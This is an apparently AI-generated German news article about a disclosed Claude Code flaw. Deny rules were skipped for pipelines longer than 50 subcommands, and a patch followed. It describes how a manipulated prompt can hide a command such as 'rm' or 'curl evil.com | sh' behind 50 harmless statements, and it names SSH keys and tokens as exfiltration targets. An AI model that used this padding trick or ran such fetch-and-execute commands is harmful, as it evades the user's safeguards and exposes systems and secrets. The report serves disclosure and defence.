2 Min. Lesezeit KI-generiert

Claude Code: Deny-Rules wurden bei langen Pipelines stillschweigend ignoriert

Artikel als Markdown kopieren

Wer in Claude Code ein 'never run rm' konfiguriert hat, war geschützt – außer der Befehl stand hinter 50 anderen. Anthropic hat den Fix gestern in v2.1.90 nachgeschoben.

Featured image for "Claude Code: Deny-Rules wurden bei langen Pipelines stillschweigend ignoriert"

Das ist die Sorte Bug, bei der einem als Entwickler kalt wird. Adversa, eine Security-Firma aus Tel Aviv, hat Anfang April öffentlich gemacht, dass Claude Codes Deny-Rules bei langen Befehlsketten einfach übergangen wurden. Die Ursache: ein hart codiertes Limit von 50 Subkommandos – alles dahinter wurde ohne Sicherheitsprüfung durchgelassen.

Wie der Bypass funktioniert

Wer in seiner Konfiguration ‘never run rm’ angibt, geht davon aus, dass rm -rf blockiert wird. Genau das passiert auch – solange der Befehl alleine steht. Aber sobald die Pipeline mehr als 50 Subkommandos hat, schaltet Claude Code die Tiefenprüfung ab. Das 51. Kommando läuft ungefiltert. Ein Angreifer, der einen Prompt manipuliert, kann seinen rm oder curl evil.com | sh einfach hinter 50 harmlose Statements verstecken.

Warum das Limit überhaupt da war

Die ehrliche Antwort: Token sparen. Die ausführliche Sicherheitsanalyse jedes Subkommandos kostet Tokens, und irgendwer hat irgendwann beschlossen, dass 50 ein vernünftiger Cutoff ist. Adversa hat in der Codebase eine korrektere Variante des Parsers gefunden, die das Limit nicht braucht – sie war nur nie in den öffentlichen Builds aktiv.

Wer betroffen war

Am riskantesten: CI/CD-Pipelines, in denen Claude Code im Non-Interactive-Modus läuft. Dort fällt der ‘ask’-Fallback auf Auto-Approve – jeder durchgerutschte Befehl wird ohne Rückfrage ausgeführt. Adversa nennt SSH-Keys und API-Tokens als realistische Exfiltrationsziele.

Der Patch

Anthropic hat am 6. April Claude Code v2.1.90 ausgerollt, der die Deny-Rules wieder unabhängig von der Pipeline-Länge erzwingt. Wer Claude Code in CI nutzt, sollte jetzt updaten. Das ist keine Kür, das ist Pflicht.

Einordnung

Was mich an dem Vorfall fertig macht, ist nicht der Bug an sich – die passieren. Es ist die Tatsache, dass die korrekte Lösung intern schon existierte und nicht ausgerollt war. Token-Sparen ist ein legitimes Optimierungsproblem, aber wenn die Optimierung zwischen Performance und Security im Standardpfad gegen Security entscheidet, läuft was im Threat Modeling schief. Hoffentlich hängt jetzt jemand bei Anthropic ein Plakat auf: ‘Defaults müssen sicher sein.’

Quellen: